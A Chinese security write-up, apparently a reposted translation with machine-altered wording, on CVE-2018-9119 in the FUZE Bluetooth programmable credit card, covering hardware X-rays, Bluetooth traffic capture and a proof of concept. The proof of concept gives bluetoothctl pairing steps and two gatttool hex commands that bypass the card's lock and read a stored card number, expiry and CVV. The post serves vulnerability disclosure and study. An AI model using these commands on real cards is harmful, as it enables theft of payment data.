快捷搜索:  网络  后门  扫描  渗透  CVE  木马  黑客  as

行使蓝牙从FUZE获守信用卡数据测试

怎么样行使蓝牙从FUZE窃守信用卡数据

写在前面的话

这篇文章首要讨论关于FUZE Card智能卡的安全问题,这是一种带有蓝牙功能的可编程信用卡,它的大小跟普通讯用卡同样,但FUZE可以取代最少30张信用卡,也就是说,你出门只用带一张FUZE卡即可。

PS:本文仅用于手艺讨论与分享,严禁用于任何非法用途

在我阐发的过程中,我对FUZE卡进行了X光扫描,并且对其采用的蓝牙协定进行了完备的逆向阐发,然后成功发现了一个允许攻击者通过蓝牙窃守信用卡数据的安全漏洞(CVE-2018-9119)。目前我们已经将漏洞信息上报给了FUZE的开发团队(BrilliantTS公司),他们表示会在2018年4月19日发布的固件更新中修复这个问题。因此在本文发稿时,漏洞CVE-2018-9119仍旧有用。

FUZE卡先容

FUZE是一种尺寸跟普通讯用卡同样的物联网设备,你可以使用智能手机App并通过蓝牙来对FUZE卡进行编程。为了方便用户治理以及设置信用卡,BrilliantTS公司还专程发布了一款名鸣eCARD Manager的应用程序。当你需要进行支付时,你需要在手机App当选择使用的信用卡,选择成功后FUZE卡也就至关于你所选择的那张信用卡了。

然则通过研究发现,卡片的添加以及使用过程其安全性并不可靠,从某种程度上来说,FUZE确凿部署了一些安全防护措施,在首次配置FUZE时,你需要输入一个六位数的暗码,但这个步骤是可以跳过的。设置好暗码以后,设备会保持锁定状态,直到你手动解锁或手机在卡片附近时才会解锁。在锁定状态下,你没法走访卡片中的数据或对磁条进行编程。它还提供了一种高级安全模式,工控黑客 ,即只有效户手机通过蓝牙连接卡片时,卡片才可以正常使用。

X光扫描硬件结构

跟常见的物联网设备不同,FUZE卡的厚度只有一毫米不到,所觉得了了解设备的内部组织,X光扫描是最合适无非了。扫描到的结构图以下所示:

怎么样行使蓝牙从FUZE窃守信用卡数据

我们可以看到,主芯片是一个微型控制器、一个e-Paper驱动器以及一个蓝牙SoC,而且主板上很多功能目前都尚无使用到,包括NFC以及EMV(以后会提供功能支持)。

蓝牙协定逆向阐发

对于FUZE卡来说,蓝牙接口是我们逆向阐发的首要目标。为此,我所要使用的工具以下:

1.   安卓手机一台;

2.   Burp Suite(可选);

3.   Wireshark+带壳的Perl脚本;

4.   Gatttool/BlueZ;

要对蓝牙设备进行黑盒测试的话,安卓手机必不可少。我们不仅可以在手机上监控蓝牙的通讯流量,而且还可以直接对Java字节码进行反汇编。Burp作为HTTP代办署理,我们可以拦截安卓App与后台服务器的API要求。安卓芯片带有一个名鸣“HCI snoop log”的功能,用户可以在开发者配置菜单中开启,这个功能允许我们将蓝牙活动的所有信息保存在文件中,其中包含App与设备的所有交互信息。Wireshark可以读取HCI snoop log的信息,并对其进行基本的过滤以及阐发。为了半自动化完成将数据导出为文本文件,这里我们使用了一个Perl脚本。最后,gatttool或其他的BlueZ工具可以用来对设备进行最直接的渗透排泄阐发,并了解协定新闻。

逆向FUZE

尽人皆知,BLE的配对协定是存在漏洞的,大多数设备都会在其基础上完成额外的安全维护,。一样的,FUZE也不会向任何未配对的设备发送数据,或使用BLE连接层加密。因此,gatttool是没法在不进行配对的情形下向FUZE发送要求的,所以我打算使用基于安卓的逆向阐发要领:

1.   安卓上开启蓝牙HCI snoop功能;

2.   在App中与FUZE卡交互;

3.   使用adb将HCI日记导出到PC中;

4.   使用Wireshark进行阐发;

5.   过滤并将数据导出到文本中;

6.   使用Perl脚本对数据进行解析;

Wireshark的逆向阐发效果以下:

怎么样行使蓝牙从FUZE窃守信用卡数据

HCI snoop最佳之处就在于它所捕捉到的数据是硬件蓝牙芯片加密之前的明文数据,其中包含有某些ASCII字符串以及协定数据格式。

漏洞行使与PoC

注:要是攻击者能够捕捉到设备与App的配对会话,FUZE卡的配对数字PIN码是可以通过暴力破解攻击的情势破解的。

起首,我们需要使用bluetoothctl来扫描设备并与其完成配对:

1. 启动bluetoothctl:sudo bluetoothctl;

2. 启用代办署理客户端(用于配对):agent on;

3. 扫描设备:scan on;

4. 扫描到FUZE卡以后,禁用扫描:scan off;

5. 与FUZE卡配对:pair <bdaddr>;

6. 输入设备显示的数字PIN码;

7. 断开连接:disconnect <bdaddr>;

怎么样行使蓝牙从FUZE窃守信用卡数据

接下来,我们就可以使用gatttool向卡片发送命令了:

1.   启动gatttool:sudo gatttool -I -b <bdaddr>;

2.   连接设备:connect;

3.   订阅通知:char-write-req 1b 0100;

4.   发送命令:char-write-req 18 <co妹妹and data>;

我们所发送的命令以下:

02c40101300000000000000000000000000000f4
02be01013030310000000000000000000000008f

第一条命令可以绕过设备的锁屏功能,第二天可以读取到设备中的第一张信用卡卡号、过期日和CVV。

怎么样行使蓝牙从FUZE窃守信用卡数据

总结

前有Apple Pay以及三星Pay,后有FUZE智能卡,全部支付行业都在想绝办法完成无卡支付,虽然我小我私人并不认为蓝牙信用卡有多大的现实意义,但既然已经有了,那我们肯定要想办法保障它的安全。

* 参考来源:ice9,Alpha_pck编译,

您可能还会对下面的文章感兴趣: